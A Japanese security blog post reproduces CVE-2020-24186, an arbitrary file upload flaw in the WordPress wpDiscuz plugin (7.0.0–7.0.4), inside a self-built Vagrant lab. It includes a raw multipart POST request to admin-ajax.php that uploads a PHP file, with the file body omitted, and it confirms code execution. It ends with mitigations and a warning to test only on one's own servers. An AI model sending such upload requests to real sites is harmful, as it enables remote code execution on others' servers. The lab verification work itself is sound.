Armoris日記 CVE-2020-24186編

このブログは、昨年3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

CVE-2020-24186の検証

今週のArmoris日記は現役高校生が書いているWindows10 記憶域プール編と検証の2本を公開しています。

検証には自身で管理する環境を使用し、自己責任でお願いします

今回の検証は以前のArmoris日記で検証したプラグインと同じものに存在する別の脆弱性です。

CVE-2020-24186は以前も検証を行ったWordPressのwpDiscuzというプラグインに存在する脆弱性です。この脆弱性プラグインのコメントへの画像添付機能でファイルタイプチェックに不備があったことにより任意のファイルがアップロード可能というものです。
以前と同様に脆弱性の悪用はプラグインをインストールした際のデフォルト設定の状態で可能です。

脆弱性情報:NVD
該当プラグインwpDiscuz

影響を受けるバージョン:wpDiscuz 7.0.0 - 7.0.4

検証環境

検証に使用した環境と各種バージョンは以下のとおりです。

Name Version
UbuntuServer 20.04
wpDiscuz 7.0.4
WordPress 5.6

検証環境作成

まずはいつもの様にVagrantを使用してUbuntuServerとWordPressの環境を構築します。

$ cat Vagrantfile 
Vagrant.configure(2) do |config|

config.vm.box = "generic/ubuntu2004"
config.vm.provider "libvirt"
config.vm.network "forwarded_port", guest: 80, host: 6525, host_ip: "172.20.100.120"
end
$ vagrant up

次に仮想環境のIPアドレスを確認してhostファイルを編集後にAnsibleを実行します。

$ vagrant ssh-config
Host default
  HostName 192.168.121.185
  User vagrant
  Port 22
  UserKnownHostsFile /dev/null
  StrictHostKeyChecking no
  PasswordAuthentication no
  IdentityFile /home/ubuntu/CVE-2020-24186/.vagrant/machines/default/libvirt/private_key
  IdentitiesOnly yes
  LogLevel FATAL
$ cat host
[server]
192.168.121.185 ansible_ssh_user=vagrant ansible_ssh_private_key_file=./.vagrant/machines/default/libvirt/private_key ansible_python_interpreter=/usr/bin/python3
$ ansible-playbook -i host wp.yml -v

以下をクリックすると普段Armoris日記で検証用に環境構築をする際使用しているymlファイルが表示されます。

次にプラグインのzipファイルをダウンロードして展開後ディレクトリに配置します。

$ wget wget https://downloads.wordpress.org/plugin/wpdiscuz.7.0.4.zip
$ sudo unzip wpdiscuz.7.0.4.zip
$ sudo mv wpdiscuz /var/www/wordpress/wp-content/plugins/

WordPressをインストールウィザードに従ってセットアップし、プラグインを有効化します。
CVE-2020-24186はプラグインを有効にすることで脆弱性の再現が可能なため、検証環境の準備は完了です。

検証

現在Metasploitのペイロードも公開されている状態ですが、今回は手動でリクエストを送信して検証します。

URL先の情報を参考に以下のリクエストを作成し、送信します。
※以下のリクエストは一部削除を行なっています。

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 172.20.100.120:6525
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: */*
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------343722729311970070443768062787
Content-Length: 751
Origin: http://172.20.100.120:6525
DNT: 1
Connection: close
Referer: http://172.20.100.120:6525/index.php/2021/01/15/hello-world/
Cookie:

-----------------------------343722729311970070443768062787
Content-Disposition: form-data; name="action"

wmuUploadFiles
-----------------------------343722729311970070443768062787
Content-Disposition: form-data; name="wmu_nonce"

dee5dc5b5f
-----------------------------343722729311970070443768062787
Content-Disposition: form-data; name="wmuAttachmentsData"

undefined
-----------------------------343722729311970070443768062787
Content-Disposition: form-data; name="wmu_files[0]"; filename="hack.php"



-----------------------------343722729311970070443768062787
Content-Disposition: form-data; name="postId"

1
-----------------------------343722729311970070443768062787--

実際にリクエスト送信後以下のようなURLにアクセスし、phpinfoが実行されていることを確認しました。
URL: http://172.20.100.120:6525/wp-content/uploads/2021/01/hack-1610937150.731.php

URLからもわかるようにファイル名にはUnixタイムスタンプの一部が含まれる数字が追加されています。
攻撃者がこの脆弱性を悪用しようとすると、アップロードディレクトリの権限設定が適切に行われていない状態でアップロードしたファイル名が確認できることが条件になると推測されます。
ある程度攻撃者がアップロードした時間からファイル名を推測することは可能なようですが、推測可能な部分以外はブルートフォースを行うことになると思われます。

終わりに

今回の検証はArmoris日記でも何度か取り上げているファイルタイプのチェックミスによる任意ファイルのアップロードというものですが、プラグインの実装上実際の攻撃に使用するのはあまり現実的では無いことがわかります。

このことからApacheなどで適切にディレクトリの閲覧設定がされているかや、ディレクトリ自体の権限の設定など自分でもできる対策で攻撃を防げる場合もあることがわかります。

自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。